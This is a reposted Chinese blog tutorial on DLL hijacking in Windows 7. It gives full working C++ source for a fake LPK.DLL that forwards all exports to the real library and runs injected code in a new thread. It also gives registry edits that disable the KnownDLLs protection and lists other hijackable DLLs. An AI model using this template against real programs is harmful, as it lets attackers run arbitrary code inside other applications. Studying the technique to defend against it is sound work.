Dll注入技术之劫持注入「建议收藏」

Dll注入技术之劫持注入「建议收藏」Dll注入技术之劫持注入测试环境系统:Windows732bit工具:FileCleaner2.0和lpk.dll主要思路利用Window可以先加载当前目录下的dll特性,仿造系统的LPK.DLL,让应用程序先加载我们的伪LPK.DLL,然后在我们的dll中去调用原来系统的原函数.引用网络中的原理讲解●背景知识●首先我们要了解Windows为什么可以DLL劫持呢?主要是因为Windows的…

大家好,又见面了,我是你们的朋友全栈君。

Dll注入技术之劫持注入

测试环境

系统:Windows 7 32bit

工具:FileCleaner2.0 和 lpk.dll

主要思路

利用Window可以先加载当前目录下的dll特性,仿造系统的LPK.DLL,让应用程序先加载我们的伪LPK.DLL,然后在我们的dll中去调用原来系统的原函数.

引用网络中的原理讲解

●背景知识●

首先我们要了解Windows为什么可以DLL劫持呢?主要是因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。

为了提供这样的功能,在Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。利用系统的这个特性,就可以使应用程序强制加载我们指定的DLL做一些特殊的工作。

举个例子来说吧,Windows的系统目录下有一个名为LPK.DLL的系统文件,程序运行时会在c:\Windows\system32文件夹下找到这个DLL文件并加载它。如打开记事本程序,用360的进程管理工具可以显示记事本进程加载的所有模块,如图1所示。

图1 记事本加载的所有模块

 

可以看到记事本加载了c:\Windows\system32\LPK.DLL。

Dll注入技术之劫持注入「建议收藏」

●什么是DLL劫持●

根据前面说的Windows资源共享机制,操作系统加载程序首先从应用程序目录中加载模块。这一特性在注册表中也有体现:HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,如果为1,搜索的顺序为:应用程序所在目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->运行程序的当前目录->PATH环境变量,如果为0,搜索顺序为:应用程序所在目录->运行程序的当前目录->系统目录(用GetSystemDirectory获取)->16位系统目录->Windows目录(用GetWindowsDirectory获取)->PATH环境变量。Windows Server 2003默认值为1,Windows XP/2000默认值为0或者没有这个键值。但是不管是哪种情况,第一个搜索的肯定是应用程序的所在目录,这样就有机会让应用程序去加载我们的DLL。如果这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,并且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。可以看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录即可轻松实现DLL劫持了。

●DLL劫持的实现●

这一步我们的工作就是通过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,并且能将导出表转发到真实的LPK.DLL。可以看出我们要实现的这个DLL需求如下:
1、构造一个与系统目录下LPK.DLL一样的导出表;
2、加载系统目录下的LPK.DLL;
3、将导出函数转发到系统目录下的LPK.DLL上;

4、在初始化函数中加入我们要执行的代码。

主要代码

实现伪造的LPK.DLL

//
// LPK.DLL劫持注入源码
//


// 头文件
#include "stdafx.h"
#include <Windows.h>
#include <process.h>




// 导出函数
#pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
#pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
#pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
#pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
//#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
#pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
#pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
#pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
#pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
#pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
#pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")





// 宏定义
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)

#define ALCPP EXPORT NAKED
#define ALSTD EXTERNC EXPORT NAKED void __stdcall
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall
#define ALCDECL EXTERNC NAKED void __cdecl

//LpkEditControl导出的是数组,不是单一的函数(by Backer)
EXTERNC void __cdecl AheadLib_LpkEditControl(void);
EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl };

  
//添加全局变量

  


// AheadLib 命名空间
namespace AheadLib
{
	HMODULE m_hModule = NULL;	// 原始模块句柄

	// 加载原始模块
	inline BOOL WINAPI Load()
	{
		TCHAR tzPath[MAX_PATH];
		TCHAR tzTemp[MAX_PATH * 2];

		GetSystemDirectory(tzPath, MAX_PATH);
		lstrcat(tzPath, TEXT("\\lpk.dll"));
		m_hModule = LoadLibrary(tzPath);
		if (m_hModule == NULL)
		{
			wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);
			MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
		};
		//MessageBox(NULL, "原始模块加载成功", TEXT("AheadLib"), MB_ICONSTOP);
		return (m_hModule != NULL);
	}

	// 释放原始模块
	inline VOID WINAPI Free()
	{
		if (m_hModule)
		{
			FreeLibrary(m_hModule);
		}
	}

	// 获取原始函数地址
	FARPROC WINAPI GetAddress(PCSTR pszProcName)
	{
		FARPROC fpAddress;
		CHAR szProcName[16];
		TCHAR tzTemp[MAX_PATH];

		fpAddress = GetProcAddress(m_hModule, pszProcName);
		if (fpAddress == NULL)
		{
			if (HIWORD(pszProcName) == 0)
			{
				wsprintfA(szProcName, "%d", pszProcName);
				pszProcName = szProcName;
			}

			wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);
			MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
			ExitProcess(-2);
		}

		return fpAddress;
	}
}
using namespace AheadLib;
  

  
//函数声明
void WINAPIV InitInject(LPVOID pParam);
//自己添加功能的函数
void WINAPIV InitInject(LPVOID pParam)
{
	//在这里可以添加自己的DLL
	//LoadLibrary(TEXT(".\\MyDll.dll"));
	MessageBox(NULL, TEXT("LPK劫持成功"), TEXT("警告"),NULL);
	return;
}
  



// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);
		if (Load())
		{
			//LpkEditControl这个数组有14个成员,必须将其复制过来    
			memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);
			_beginthread(InitInject, NULL, NULL);//创建新线程实现自己的功能
		}
		else {
			//	MessageBox(NULL, "初始化失败", "123 ERROR", MB_ICONSTOP);
			return FALSE;
		}

	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		Free();
	}
	return TRUE;
}





// 导出函数
ALCDECL AheadLib_LpkInitialize(void)
{
	GetAddress("LpkInitialize");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkTabbedTextOut(void)
{
	GetAddress("LpkTabbedTextOut");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkDllInitialize(void)
{
	GetAddress("LpkDllInitialize");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkDrawTextEx(void)
{
	GetAddress("LpkDrawTextEx");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkEditControl(void)
{
	GetAddress("LpkEditControl");
	__asm jmp DWORD ptr[EAX];//这里的LpkEditControl是数组,eax存的是函数指针
}





// 导出函数
ALCDECL AheadLib_LpkExtTextOut(void)
{
	GetAddress("LpkExtTextOut");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkGetCharacterPlacement(void)
{
	GetAddress("LpkGetCharacterPlacement");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
{
	GetAddress("LpkGetTextExtentExPoint");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkPSMTextOut(void)
{
	GetAddress("LpkPSMTextOut");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_LpkUseGDIWidthCache(void)
{
	GetAddress("LpkUseGDIWidthCache");
	__asm JMP EAX;
}





// 导出函数
ALCDECL AheadLib_ftsWordBreak(void)
{
	GetAddress("ftsWordBreak");
	__asm JMP EAX;
}

实现效果

把伪造的LPK.DLL放在程序同目录下(这样会首先加载我们伪造的DLL)

注:可能需要修改注册表,使得程序从执行文件所在目录加载DLL(修改完可能需要重启)

有些高版本系统和程序已经不能劫持lpk.dll了,这里我用了”黑客反病毒论坛”的FileCleaner2.0.exe程序测试成功!

其他可劫持的dll为:

lpk.dll、winmm.dll、ws2_32.dll、ws2help.dll、version.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll等

XP:

把HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls下的lpk项删除掉,重启电脑。

WIN7:

在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager添加一个键值ExcludeFromKnownDlls(多字符串类型),把lpk.dll加进去。如果需要其他DLL请自行加入。

如图:

Dll注入技术之劫持注入「建议收藏」

查看我们伪造的LPK.DLL导出表,与系统原来的一样

Dll注入技术之劫持注入「建议收藏」

运行程序后先加载了我们伪造的LPK.DLL,程序被劫持

Dll注入技术之劫持注入「建议收藏」

从模块列表中也可以看到,既加载了我们伪造的LPK.DLL,也加载了系统的lpk.dll

Dll注入技术之劫持注入「建议收藏」

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/145483.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • Vs2013 简单定制安装

    Vs2013 简单定制安装

  • sql server 2012 报表开发(2) reporting service 中制作分组折叠式报表

    sql server 2012 报表开发(2) reporting service 中制作分组折叠式报表前面我们学习了sqlserver2012如何使用ReportingService2012制作报表,对ReportingService制作报表,有了初步的了解,这里我主要记录一下,如何做一个分组折叠式的报表.1. 创建一个报表tb_Bills.rdl,添加一个数据集2.在当前报表中,添加一个列表3.在当前列表中,添加一个父组。选择需要分组字段的分组依据,

    2022年10月20日
  • 互联网金融风控模型大全

    互联网金融风控模型大全一、市场调研目前市面主流的风控模型1、互联网金融前10名排行榜(数据截止日期2017-09-12)互联网金融公司排名分别是蚂蚁金服、陆金所、京东金融、苏宁金融、百度金融、腾讯理财通、宜信、钱大掌柜、万达金融和网易理财。1.1蚂蚁金服1.1.1大数据技术对接第三方征信公司芝麻信用分,通过用户信用历史、行为偏好、履约能力、身份特质、人脉关系五个维度对海量数据行综合的处理评估,同时也给予阿里电商交易…

  • vue父子组件传值props_vue子组件调用父组件的方法并传参

    vue父子组件传值props_vue子组件调用父组件的方法并传参vue页面结构在做项目的时候常常有这样的一个情况,这个页面的数据(比如:id号)要带到另一个页面去查询某个数据的详情等,传统的做法不是在url上加参数,cookie或者是现在H5的“sessionStorage”和“localStorage”上赋值,这是页面之间传递的方法。随着Angularjs,React,Vue的流行组件式的开发方式成为另一种不错的解决方案。最近就有一些小伙伴问我,vue组件之间是如何传递参数的?其实vue是有三种方式可以组件之间传递数据(props,组件通信,slot)..

    2022年10月30日
  • SQL聚合函数功能和用法解析

    SQL聚合函数功能和用法解析第一部分:介绍SUM和AVG  我们知道数据库通常包含大量数据,要从海量的数据中找到我们需要的某条记录无异于大海捞针,不过通过SQL语言我们可以找到很多方法从数据库中提取我们要查找的特定数据,就是通过这些方法我们才能找到“列举出七八两个月中购买了西伯利亚羊毛的所有顾客的姓名”这类问题的答案。  很多时候,我们还希望能够通过对数据进行分析,总结出规律和趋势或生成高水平的报表。例如,对于采购经理来说,…

  • Java审计之命令执行篇

    Java审计之命令执行篇0x00前言在Java中能执行命令的类其实并不多,不像php那样各种的命令执行函数。在Java中目前所知的能执行命令的类也就两种,分别是Runtime和ProcessB

    2021年12月12日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号